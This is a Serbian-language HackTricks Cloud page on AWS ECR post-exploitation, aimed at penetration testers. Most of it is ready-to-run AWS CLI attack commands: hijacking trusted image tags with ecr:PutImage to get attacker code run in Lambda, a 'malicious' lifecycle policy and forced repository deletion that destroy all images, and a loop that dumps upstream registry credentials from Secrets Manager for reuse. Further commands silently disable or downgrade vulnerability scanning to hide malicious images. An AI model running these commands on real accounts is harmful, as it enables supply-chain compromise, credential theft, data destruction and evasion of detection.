AWS - ECR Post Exploitation
Tip
Nauči & vežbaj AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Pogledajte subscription plans!
- Pridružite se 💬 Discord group or the telegram group or pratite nas na Twitter 🐦 @hacktricks_live.
- Podelite hacking tricks slanjem PR-ova na HackTricks i HackTricks Cloud github repos.
ECR
Za više informacija pogledajte
Login, Pull & Push
# Docker login into ecr
## For public repo (always use us-east-1)
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
## For private repo
aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account
# Download
docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
## If you still have the error "Requested image not found"
## It might be because the tag "latest" doesn't exit
## Get valid tags with:
TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list
# Inspect the image
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
docker inspect <account id>.dkr.ecr.<region>.amazonaws.com/<image>:<tag> # Inspect the image indicating the URL
# Upload (example uploading purplepanda with tag latest)
docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
# Downloading without Docker
# List digests
aws ecr batch-get-image --repository-name level2 \
--registry-id 653711331788 \
--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
## Download a digest
aws ecr get-download-url-for-layer \
--repository-name level2 \
--registry-id 653711331788 \
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
Nakon preuzimanja image-ova trebalo bi da ih proverite zbog osetljivih informacija:
Prepišite Trusted Tag pomoću ecr:PutImage (Tag Hijacking / Supply Chain)
Ako korisnici deployuju po tagu (na primer stable, prod, latest) i tagovi su promenljivi, ecr:PutImage se može iskoristiti da preusmeri Trusted Tag na sadržaj pod kontrolom napadača tako što će se pod tim tagom otpremiti image manifest.
Jedan uobičajen pristup je da se kopira manifest postojećeg tag-a koji je pod kontrolom napadača (ili digest) i njime prepiše Trusted Tag.
REGION=us-east-1
REPO="<repo_name>"
SRC_TAG="backdoor" # attacker-controlled tag already present in the repository
DST_TAG="stable" # trusted tag used by downstream systems
# 1) Fetch the manifest behind the attacker tag
MANIFEST="$(aws ecr batch-get-image \
--region "$REGION" \
--repository-name "$REPO" \
--image-ids imageTag="$SRC_TAG" \
--query 'images[0].imageManifest' \
--output text)"
# 2) Overwrite the trusted tag with that manifest
aws ecr put-image \
--region "$REGION" \
--repository-name "$REPO" \
--image-tag "$DST_TAG" \
--image-manifest "$MANIFEST"
# 3) Verify both tags now point to the same digest
aws ecr describe-images --region "$REGION" --repository-name "$REPO" --image-ids imageTag="$DST_TAG" --query 'imageDetails[0].imageDigest' --output text
aws ecr describe-images --region "$REGION" --repository-name "$REPO" --image-ids imageTag="$SRC_TAG" --query 'imageDetails[0].imageDigest' --output text
Uticaj: bilo koji workload koji povlači .../$REPO:$DST_TAG će dobiti sadržaj koji odabere napadač, bez ikakvih izmena u IaC, Kubernetes manifests, ili task definitions.
Primer downstream potrošača: Lambda Container Images automatsko osvežavanje pri ažuriranju taga
Ako je Lambda funkcija deploy-ovana kao container image (PackageType=Image) i koristi ECR tag (npr. :stable, :prod) umesto digest-a, prepisivanje tog taga može pretvoriti supply-chain tampering u izvršavanje koda unutar Lambda execution role nakon što se funkcija osveži.
Kako da otkrijete ovu situaciju:
REGION=us-east-1
# 1) Find image-based Lambda functions and their ImageUri
aws lambda list-functions --region "$REGION" \
--query "Functions[?PackageType=='Image'].[FunctionName]" --output text |
tr '\t' '\n' | while read -r fn; do
img="$(aws lambda get-function --region "$REGION" --function-name "$fn" --query 'Code.ImageUri' --output text 2>/dev/null || true)"
[ -n "$img" ] && printf '%s\t%s\n' "$fn" "$img"
done
# 2) Check whether a function references a mutable tag (contains ":<tag>")
# Prefer digest pinning (contains "@sha256:") in well-hardened deployments.
Kako se osvežavanje često dešava:
- CI/CD ili GitOps redovno poziva
lambda:UpdateFunctionCode(čak i sa istimImageUri) da natera Lambda da ponovo reši tag. - Event-driven automatizacija prati ECR image događaje (push/tag updates) i pokreće refresher Lambda/automatizaciju.
Ako možete prepisati pouzdani tag i postoji mehanizam za osvežavanje, sledeće pokretanje funkcije će izvršiti kod pod kontrolom napadača, koji potom može da čita promenljive okruženja, pristupi mrežnim resursima i poziva AWS API-je koristeći ulogu Lambda (na primer, secretsmanager:GetSecretValue).
ecr:PutLifecyclePolicy | ecr:DeleteRepository | ecr-public:DeleteRepository | ecr:BatchDeleteImage | ecr-public:BatchDeleteImage
Napadač sa bilo kojom od ovih permisija može kreirati ili izmeniti lifecycle policy da obriše sve slike u repozitorijumu i zatim obrisati ceo ECR repozitorijum. To bi rezultiralo gubitkom svih container image-ova uskladištenih u repozitorijumu.
# Create a JSON file with the malicious lifecycle policy
echo '{
"rules": [
{
"rulePriority": 1,
"description": "Delete all images",
"selection": {
"tagStatus": "any",
"countType": "imageCountMoreThan",
"countNumber": 0
},
"action": {
"type": "expire"
}
}
]
}' > malicious_policy.json
# Apply the malicious lifecycle policy to the ECR repository
aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
# Delete the ECR repository
aws ecr delete-repository --repository-name your-ecr-repo-name --force
# Delete the ECR public repository
aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
# Delete multiple images from the ECR repository
aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
# Delete multiple images from the ECR public repository
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
Exfiltrate kredencijale uzvodnog registra iz ECR Pull‑Through Cache (PTC)
Ako je ECR Pull‑Through Cache konfigurisana za autentifikovane upstream registre (Docker Hub, GHCR, ACR, itd.), kredencijali uzvodnih registara se čuvaju u AWS Secrets Manager sa predvidljivim prefiksom imena: ecr-pullthroughcache/. Operatori ponekad daju ECR adminima širok pristup za čitanje u Secrets Manager-u, što omogućava credential exfiltration i njihovo ponovno korišćenje van AWS.
Zahtevi
- secretsmanager:ListSecrets
- secretsmanager:GetSecretValue
Navedite potencijalne PTC tajne
aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
--output text
Dump otkrivene tajne i parse uobičajena polja
for s in $(aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
aws secretsmanager get-secret-value --secret-id "$s" \
--query SecretString --output text | tee /tmp/ptc_secret.json
jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
done
Opcionalno: proverite leaked creds prema upstream (read‑only login)
echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
Uticaj
- Čitanje ovih Secrets Manager unosa daje ponovo upotrebljive kredencijale za upstream registry (username/password or token), koji se mogu zloupotrebiti van AWS-a za pull private images ili pristup dodatnim repozitorijumima u zavisnosti od upstream permissions.
Registry-level stealth: disable or downgrade scanning via ecr:PutRegistryScanningConfiguration
Napadač sa registry-level ECR permissions može tiho smanjiti ili onemogućiti automatsko skeniranje ranjivosti za SVE repozitorijume podešavanjem registry scanning configuration na BASIC bez bilo kakvih scan-on-push rules. Ovo sprečava da se novi image pushes automatski skeniraju, skrivajući ranjive ili zlonamerne image-ove.
Zahtevi
- ecr:PutRegistryScanningConfiguration
- ecr:GetRegistryScanningConfiguration
- ecr:PutImageScanningConfiguration (optional, per‑repo)
- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification)
Smanjenje obima na nivou registra na manual (no auto scans)
REGION=us-east-1
# Read current config (save to restore later)
aws ecr get-registry-scanning-configuration --region "$REGION"
# Set BASIC scanning with no rules (results in MANUAL scanning only)
aws ecr put-registry-scanning-configuration \
--region "$REGION" \
--scan-type BASIC \
--rules '[]'
Testiraj koristeći repo i image
acct=$(aws sts get-caller-identity --query Account --output text)
repo=ht-scan-stealth
aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true
aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile
docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test .
docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test
# Verify no scan ran automatically
aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus'
# Optional: will error with ScanNotFoundException if no scan exists
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
Opcionalno: dalje degradirati na nivou repo-a
# Disable scan-on-push for a specific repository
aws ecr put-image-scanning-configuration \
--region "$REGION" \
--repository-name "$repo" \
--image-scanning-configuration scanOnPush=false
Uticaj
- Novi push-ovi image-ova kroz registry nisu automatski skenirani, što smanjuje vidljivost ranjivog ili zlonamernog sadržaja i odlaže otkrivanje dok se ne pokrene ručno skeniranje.
Smanjenje kvaliteta scanning engine-a za ceo registry putem ecr:PutAccountSetting (AWS_NATIVE -> CLAIR)
Smanjite kvalitet detekcije ranjivosti u celom registry-ju tako što ćete BASIC scan engine promeniti sa podrazumevanog AWS_NATIVE na legacy CLAIR engine. Ovo ne onemogućava skeniranje, ali može značajno promeniti nalaze/pokrivenost. Kombinujte sa BASIC registry scanning konfiguracijom bez pravila da biste skeniranja učinili isključivo ručnim.
Zahtevi
ecr:PutAccountSetting,ecr:GetAccountSetting- (Optional)
ecr:PutRegistryScanningConfiguration,ecr:GetRegistryScanningConfiguration
Uticaj
- Podešavanje registry-ja
BASIC_SCAN_TYPE_VERSIONpostavljeno naCLAIR, tako da naredna BASIC skeniranja koriste degradirani engine. CloudTrail beležiPutAccountSettingAPI poziv.
Koraci
REGION=us-east-1
# 1) Read current value so you can restore it later
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true
# 2) Downgrade BASIC scan engine registry‑wide to CLAIR
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR
# 3) Verify the setting
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION
# 4) (Optional stealth) switch registry scanning to BASIC with no rules (manual‑only scans)
aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true
# 5) Restore to AWS_NATIVE when finished to avoid side effects
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
Skenirajte ECR images za ranjivosti
#!/bin/bash
# This script pulls all images from ECR and runs snyk on them showing vulnerabilities for all images
region=<region>
profile=<aws_profile>
registryId=$(aws ecr describe-registry --region $region --profile $profile --output json | jq -r '.registryId')
# Configure docker creds
aws ecr get-login-password --region $region --profile $profile | docker login --username AWS --password-stdin $registryId.dkr.ecr.$region.amazonaws.com
while read -r repo; do
echo "Working on repository $repo"
digest=$(aws ecr describe-images --repository-name $repo --image-ids imageTag=latest --region $region --profile $profile --output json | jq -r '.imageDetails[] | .imageDigest')
if [ -z "$digest" ]
then
echo "No images! Empty repository"
continue
fi
url=$registryId.dkr.ecr.$region.amazonaws.com/$repo@$digest
echo "Pulling $url"
docker pull $url
echo "Scanning $url"
snyk container test $url --json-file-output=./snyk/$repo.json --severity-threshold=high
# trivy image -f json -o ./trivy/$repo.json --severity HIGH,CRITICAL $url
# echo "Removing image $url"
# docker image rm $url
done < <(aws ecr describe-repositories --region $region --profile $profile --output json | jq -r '.repositories[] | .repositoryName')
Tip
Nauči & vežbaj AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Pogledajte subscription plans!
- Pridružite se 💬 Discord group or the telegram group or pratite nas na Twitter 🐦 @hacktricks_live.
- Podelite hacking tricks slanjem PR-ova na HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

